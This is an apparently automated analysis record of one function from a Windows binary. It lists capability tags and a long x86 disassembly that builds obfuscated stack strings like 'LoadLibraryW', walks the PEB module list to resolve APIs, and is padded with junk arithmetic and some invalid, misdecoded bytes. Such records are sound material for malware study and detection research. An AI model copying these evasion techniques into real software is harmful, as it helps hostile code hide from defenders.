Function at 0x413460
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov word [ebp - 0x1768], dx
mov eax, 0x32
mov word [ebp - 0x1766], ax
mov ecx, 0x2e
mov word [ebp - 0x1764], cx
mov edx, 0x64
mov word [ebp - 0x1762], dx
mov eax, 0x6c
mov word [ebp - 0x1760], ax
mov ecx, 0x6c
mov word [ebp - 0x175e], cx
xor edx, edx
mov word [ebp - 0x175c], dx
push esi
push edi
add esp, 4
add esi, 0x1565f
sub esi, 0x13b5a
and esi, 0x16b02
pop esi
push esi
and esi, 0xdf4f
xor esi, 0x6259
add esi, 0x13531
add esi, 0x17e
pop esi
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x195c], eax
mov ecx, dword [ebp - 0x195c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1960], edx
mov eax, dword [ebp - 0x1960]
mov dword [ebp - 0x15e4], eax
push eax
push edx
add esp, 4
or eax, 0x57e4
xor eax, 0x1181f
add eax, 0x1257f
xor eax, 0x175b4
pop eax
push edx
push ecx
add esp, 4
and edx, 0x45ca
pop edx
push edx
sub edx, 0x1182b
pop edx
cmp dword [ebp - 0x15e4], 0
jne 0x4135aa
mov dword [ebp - 0x750], 0
jmp 0x413866
mov ecx, dword [ebp - 0x15e4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
push edx
add edx, 0x1d0d
sub edx, 0x2633
xor edx, 0xd1d7
sub edx, 0x4a31
pop edx
push edx
push ebx
add esp, 4
sub edx, 0x9be3
pop edx
push edx
push eax
add esp, 4
sub edx, 0x4f19
pop edx
cmp dword [ebp - 0xca4], 0
jne 0x413606
mov dword [ebp - 0x750], 0
jmp 0x413866
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0x508], ecx
push edx
push eax
add esp, 4
or edx, 0x72f3
add edx, 0x18366
pop edx
push eax
push ebx
add esp, 4
add eax, 0x1467d
pop eax
push edx
xor edx, 0x12a4a
or edx, 0x1c35
and edx, 0x149c9
pop edx
lea edx, [ebp - 0x1774]
mov dword [ebp - 0xca0], edx
mov eax, dword [ebp - 0x508]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc9c], ecx
xor edx, edx
mov word [ebp - 0x214], dx
xor eax, eax
mov word [ebp - 0x110], ax
push edi
add edi, 0x9a2f
sub edi, 0x13199
jmp 0x413684
and edi, 0x155a
pop edi
push edx
push edx
add esp, 4
add edx, 0x16bb3
and edx, 0x14e43
sub edx, 0xcc7
pop edx
mov ecx, dword [ebp - 0xc9c]
mov dx, word [ecx]
mov word [ebp - 0x1036], dx
mov eax, dword [ebp - 0xc9c]
add eax, 2
mov dword [ebp - 0xc9c], eax
mov cx, word [ebp - 0x1036]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca0]
mov ax, word [edx]
mov word [ebp - 0x1038], ax
mov ecx, dword [ebp - 0xca0]
add ecx, 2
mov dword [ebp - 0xca0], ecx
mov dx, word [ebp - 0x1038]
mov word [ebp - 0x110], dx
push edi
push edi
add esp, 4
add edi, 0x8e13
or edi, 0xe188
and edi, 0xba87
pop edi
push eax
add eax, 0xf1ae
or eax, 0xcd57
and eax, 0x15320
and eax, 0x6b31
pop eax
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x413752
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15ec], ecx
jmp 0x4137b5
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x413671
movzx edx, word [ebp - 0x214]
xor edx, 0x20
and byte [edi], cl
mov bh, 0x85
invalid
invalid
invalid
invalid
cmp edx, eax
je 0x413671
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x41379f
mov dword [ebp - 0x15e8], 0xffffffff
jmp 0x4137a9
mov dword [ebp - 0x15e8], 1
mov eax, dword [ebp - 0x15e8]
mov dword [ebp - 0x15ec], eax
cmp dword [ebp - 0x15ec], 0
jne 0x4137fe
push esi
push ebx
add esp, 4
and esi, 0xa70c
pop esi
push esi
push esi
add esp, 4
jmp 0x4137d8
sub esi, 0x81f3
pop esi
push edx
push edi
add esp, 4
jmp 0x4137e9
or edx, 0x167fd
pop edx
mov ecx, dword [ebp - 0x508]
mov dword [ebp - 0x750], ecx
jmp 0x413866
push ebx
push esi
add esp, 4
jmp 0x41380a
xor ebx, 0xcd54
and ebx, 0xf9e
pop ebx
push eax
push ebx
add esp, 4
call 0x41382c
add byte [edi], dh
dec esp
cmp eax, 0x3f3a4c42
dec edx
inc esp
push eax
add esp, 4
pop eax
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x508]
cmp ecx, dword [ebp - 0xca4]
je 0x41385c
mov edx, dword [ebp - 0x508]
cmp dword [edx + 0x30], 0
jne 0x413612
mov dword [ebp - 0x750], 0
push ebx
add ebx, 0x4e17
call 0x41387d
add byte [ebx], bh
xor eax, 0x484c393a
dec edi
aas
inc edi
inc ebx
add esp, 4
pop ebx
push esi
push edx
add esp, 4
call 0x413894
add byte [edx], dh
inc esi
dec ecx
dec eax
aaa
dec esi
dec esp
xor eax, dword [ebx - 0x7ca1fb3c]
mov ebp, 0xfffff8b0
add byte [ebp + 0x41], dh
push edi
add edi, 0x15758
or edi, 0x1331e
add edi, 0x4de1
pop edi
push edx
push edi
add esp, 4
sub edx, 0x4dc3
or edx, 0xa4fc
xor edx, 0x13f4e
or edx, 0x48e5
pop edx
mov dword [ebp - 0x79c], 0
jmp 0x414409
push edx
push ebx
add esp, 4
sub edx, 0xc6d1
rol esi, 1
add byte [eax], al
add edx, 0x2c67
or edx, 0x10b6c
and edx, 0x7fff
pop edx
push edx
xor edx, 0x3b86
xor edx, 0xc60f
or edx, 0xc1c7
pop edx
mov ecx, dword [ebp - 0x3e8]
add ecx, 0xe
mov dword [ebp - 0x19dc], ecx
push esi
call 0x41445b
add byte [ebx + eax*2], bh
dec eax
inc eax
dec ebp
inc ecx
push eax
xor eax, 0xc4833c3f
add al, 0x5e
push ecx
jmp 0x414468
or ecx, 0x13422
and ecx, 0xe506
jmp 0x41447b
pop ecx
cmp dword [ebp - 0x3e8], 0
je 0x41448e
cmp dword [ebp - 0xab8], 0
jne 0x4144d4
push edi
push edi
add esp, 4
xor edi, 0xef1
sub edi, 0x3bfd
or edi, 0xf1
pop edi
push eax
sub eax, 0x10872
xor eax, 0xbbfa
and eax, 0x12fee
add eax, 0x162ef
pop eax
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x1990], edx
push 0
call dword [ebp - 0x1990]
mov dword [ebp - 0x20a8], 0xa
push ebx
and ebx, 0x759
jmp 0x4144eb
xor ebx, 0x15c1f
jmp 0x4144f7
pop ebx
push edx
push edx
add esp, 4
and edx, 0x116ea
sub edx, 0x814c
or edx, 0xc2b4
pop edx
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push edi
push ebx
add esp, 4